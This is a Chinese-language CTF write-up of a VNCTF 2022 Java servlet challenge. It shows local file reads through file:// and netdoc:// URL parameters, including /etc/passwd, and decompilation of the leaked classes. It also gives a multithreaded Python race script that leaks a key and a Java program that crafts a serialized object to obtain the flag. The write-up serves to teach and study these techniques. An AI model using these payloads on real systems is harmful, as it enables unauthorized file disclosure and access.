看源码
输入 /file?url = 1报错
用伪协议可以读取到内容
/file?url=file:///etc/passwd
然后就是查看java字节码文件的目录
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF
以下为读文件的payload
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entityUser.class
servletFileServlet.classHelloWorldServlet.class
utilSecr3t.classSerAndDe.classUrlUtil.class
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class
读到的文件 可以jd-gui 反编译,也可以用网上的在线工具:JAVA反向工程网 (javare.cn)
也可以用IDeA
HelloWorldServlet.classpackage servlet;import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {private volatile String age = "666";private volatile String height = "180";private volatile String name = "m4n_q1u_666";User user;public void init() throws ServletException {this.user = new User(this.name, this.age, this.height);}/* access modifiers changed from: protected */public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String reqName = req.getParameter("name");if (reqName != null) {this.name = reqName;}if (Secr3t.check(this.name)) {Response(resp, "no vnctf2022!");} else if (Secr3t.check(this.name)) {Response(resp, "The Key is " + Secr3t.getKey());}}/* access modifiers changed from: protected */public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String key = req.getParameter("key");String text = req.getParameter("base64");if (!Secr3t.getKey().equals(key) || text == null) {Response(resp, "KeyError");return;}if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());}}private void Response(HttpServletResponse resp, String outStr) throws IOException {ServletOutputStream out = resp.getOutputStream();out.write(outStr.getBytes());out.flush();out.close();}
}
主要看 hello.class 中的doPOst方法:
这里可以getFlag。但是需要满足Key相同,且另一个是反序列化一个一样的user对象
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String key = req.getParameter("key");String text = req.getParameter("base64");if (Secr3t.getKey().equals(key) && text != null) {Decoder decoder = Base64.getDecoder();byte[] textByte = decoder.decode(text);User u = (User)SerAndDe.deserialize(textByte);if (this.user.equals(u)) {this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());}} else {this.Response(resp, "KeyError");}}
先获取KEY,调用的是Secr3t类。
先来看看
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package util;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;public class Secr3t {private static final String Key = RandomStringUtils.randomAlphanumeric(32);private static StringBuffer Flag;private Secr3t() {}public static String getKey() {return Key;}public static StringBuffer getFlag() {Flag = new StringBuffer();InputStream in = null;try {in = Runtime.getRuntime().exec("/readflag").getInputStream();} catch (IOException var12) {var12.printStackTrace();}BufferedReader read = new BufferedReader(new InputStreamReader(in));try {String line = null;while((line = read.readLine()) != null) {Flag.append(line + "\n");}} catch (IOException var13) {var13.printStackTrace();} finally {try {in.close();read.close();} catch (IOException var11) {var11.printStackTrace();System.out.println("Secr3t : io exception!");}}return Flag;}public static boolean check(String checkStr) {return "vnctf2022".equals(checkStr);}
}
这里 第二个 if 需要name 不等于 "vnctf2022", 而第三个if 又需要 this.name = "vnctf2022".
矛盾了
这里涉及一个知识点:Servlet的线程安全问题 | Y4tacker's Blog
总结一下
然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象
而这个this.name 刚好判断的是实例化对象的属性,只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022
,然后当进入第二个线程的时候,在操作它变成vnctf2022
,那不就进入了第二个if条件内吗。
脚本:
import time
import requests
from threading import Threadurl = 'http://01b0fd97-c90e-46e3-8809-b624bb4cfa1d.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=snowy"
ses = requests.session()def get(session, payload):while True:res = session.get(url=url+payload)print(url+payload)print(res.text)if "key" in res.text:print(res.text)time.sleep(0.1)if __name__ == '__main__':for i in range(2):Thread(target=get, args=(ses, payload1,)).start()for j in range(2):Thread(target=get, args=(ses, payload2,)).start()
The Key is 3wL5Ajzw9ew6WU9AfhIB58GzH4coiCl5
接着就是反序列化的步骤了
继续看到 doPOst方法
看到第一个if
他将text参数进行了base64解码 并且转为了字节流的形式,然后传入SerAndDe.deserialize(),先不去看源码,应该就是一个进行反序列化的操作, 先试着序列化反序列化。用题目自身的代码去执行。
先进行序列化 再进行base64
import entity.User;
import java.util.Base64;
import util.SerAndDe;public class testSerializable
{public static void main(String[] args){User user = new User("snowy","18","180");Base64.Encoder encoder = Base64.getEncoder();byte[] textByte = SerAndDe.serialize(user);String text = encoder.encodeToString(textByte);System.out.println(text);}
}
把结果传入url
发现打不通, 要注意的是 这里的User.java 中 height 属性是由 transient修饰的,所以再生成byte的时候需要重写下 writeObject类 否则会将自己的User对象 height为空。
private transient String height;
在User.java
最后加上
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{s.defaultWriteObject();//强制序列化names.writeObject(this.height);
}
参考文献:java-Transient关键字、Volatile关键字介绍和序列化、反序列化机制、单例类序列化_龙吟在天的博客-CSDN博客_volatile 序列化
exp:
import entity.User;import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;public class Exp {public static void main(String[] args) throws IOException {User user = new User("m4n_q1u_666","666","180");ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(user);byte[] bytes = byteArrayOutputStream.toByteArray();Base64.Encoder encoder = Base64.getEncoder();String s = encoder.encodeToString(bytes);System.out.println(s);}
}
最后传入 key 和base64的结果即可
因为环境消失了 更换了key